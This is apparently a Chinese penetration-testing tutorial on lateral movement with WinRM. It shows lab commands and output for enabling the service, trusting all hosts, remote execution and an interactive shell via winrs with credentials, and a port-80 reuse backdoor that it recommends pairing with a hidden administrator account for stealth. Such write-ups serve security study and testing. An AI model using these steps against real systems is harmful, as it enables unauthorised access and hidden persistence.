基于winRM的横向移动

winRM简介

WinRM(Windows Remote Management)是 Microsoft 对 WS-Management 协议的实现,WS-Management 协议即一种基于标准简单对象访问协议(soap)的防火墙友好协议,它让来自不同供应商的硬件和操作系统能够相互操作。windows 众多可以远程执行命令方式中的一种。

作为DCOM和WMI远程管理的替代方法,WinRM用于通过WSMan与远程计算机建立会话,WSMan利用HTTP/S作为传输机制来传递XML格式的消息。在现代Windows系统中,WinRM HTTP通过TCP端口5985进行通信,而HTTPS(TLS)通过TCP端口5986进行通信。

WinRM本机支持NTLM和Kerberos(域)身份验证。初始身份验证后,WinRM会话将使用AES加密(Microsoft Docs)保护。

注意:必须配置并运行WinRM服务才能接受远程连接。WinRM接受连接可能还需要几个步骤。请参阅这篇 Pentest Lab 文章 以了解更多信息。

※ winRM横向移动同时适用于工作组和域环境。

利用条件

通信的双方都需要开启WinRM服务
WinRS 适用于 Win server 2008 / Win7 及以后的系统,但是 Win server 2008 / PC 全版本系统默认关闭。

只有在Win server 2012 之后的版本的WinRM服务才默认启动并监听了5985端口,允许远程任意主机来管理。

WinRM状态查询

PS C:\Users\Administrator> Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}                    

ExitCode  : 1077
Name      : WinRM
ProcessId : 0
StartMode : Manual
State     : Stopped
Status    : OK

开启可以使用下面其中一条命令即可

winrm quickconfig -q #这条命令运行后会自动添加防火墙例外规则,放行5985端口。
Enable-PSRemoting -Force

再次查询

PS C:\Users\Administrator> Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}

ExitCode  : 0
Name      : WinRM
ProcessId : 1128
StartMode : Auto
State     : Running
Status    : OK

服务端防火墙允许WinRM服务端口通信

默认为5985、5986;如果5985打开,但是5986关闭,标识WinRM服务配置为仅接受HTTP连接。修改默认端口可以使用如下:

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}

WinRM通信两端配置要求

  • 1.查看WinRM具体配置
winrm get winrm/config
  • 2.允许所有客户端IP连接
winrm set winrm/config/Client @{TrustedHosts="*"}
winrm e winrm/config/listener #查看监听地址和端口

远程管理

远程连接时可能会遇到以下错误

Winrs error:WinRM 客户端无法处理该请求。可以在下列条件下将默认身份验证与 IP 地址结合使用: 传输为 HTTPS 或目标位于 TrustedHosts 列表中,并且提供了显式凭据。使用 winrm.cmd 配置 TrustedHosts。请注意,TrustedHosts 列表中的计算机可能未经过身份验证。 有关如何设置 TrustedHosts 的详细信息,请运行以下命令: winrm help config。

Winrs error:WinRM 客户端无法处理该请求。如果身份验证方案与 Kerberos 不同,或者客户端计算机未加入到域中,则必须使用 HTTPS 传输或者必须将目标计算机添加到 TrustedHosts 配置设置。使用 winrm.cmd 配置 TrustedHosts。请注意,TrustedHosts 列表中的计算机可能未经过身份验证。 通过运行以下命令 可获得有关此内容的更多信息: winrm help config。

在你的攻击机上执行下面这条命令,设置为信任所有主机,再去连接即可

C:\Users\Administrator>winrm set winrm/config/Client @{TrustedHosts="*"}
 Client
    NetworkDelayms = 5000
    URLPrefix = wsman
    AllowUnencrypted = false
    Auth
        Basic = true
        Digest = true
        Kerberos = true
        Negotiate = true
        Certificate = true
        CredSSP = false
    DefaultPorts
        HTTP = 5985
        HTTPS = 5986
    TrustedHosts = *

远程命令执行

C:\Users\Administrator>winrs -r:192.168.86.114 -u:192.168.86.114\administrator -p:123456!@#$% whoami
win-win7\administrator

获取交互式的shell

C:\Users\Administrator>winrs -r:192.168.86.114 -u:192.168.86.114\administrator -p:123456!@#$% cmd
Microsoft Windows [版本 6.1.7601]
版权所有 (c) 2009 Microsoft Corporation。保留所有权利。

C:\Users\Administrator>ipconfig

Windows IP 配置

以太网适配器 本地连接:

   连接特定的 DNS 后缀 . . . . . . . :
   本地链接 IPv6 地址. . . . . . . . : fe80::95c8:a481:b587:2d7c%11
   IPv4 地址 . . . . . . . . . . . . : 192.168.86.114
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 192.168.86.1

隧道适配器 isatap.{993CBC2D-5164-415A-A70E-00FF0F6119D5}:

   媒体状态  . . . . . . . . . . . . : 媒体已断开
   连接特定的 DNS 后缀 . . . . . . . :

第三方工具

使用WSMan.Automation COM对象通过WinRM执行远程命令。

https://github.com/bohops/WSMan-WinRM

其他利用
开启远程主机3389
如果目标开启了WinRM可以利用PeekABoo工具使目标开启3389

端口复用后门
将WinRM监听端口由5985改为80或者443,即使端口被web服务也不影响,并且不影响web服务。利用如下

  • 1.配置目标WinRM服务,更改监听端口开启复用
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
  • 2.链接目标
winrs -r:192.168.86.114 -u:192.168.86.114\administrator -p:123456!@#$% whoami

该方法适用于有web服务的机器,不会开启新的端口,配合添加隐藏管理员用户,隐蔽性极高。

参考引用:

http://t3ngyu.leanote.com/post/LM-WinRM-WinRS

https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/

https://xz.aliyun.com/t/6888

https://www.cnblogs.com/-mo-/p/12019314.html

Last modification:September 14th, 2020 at 12:03 pm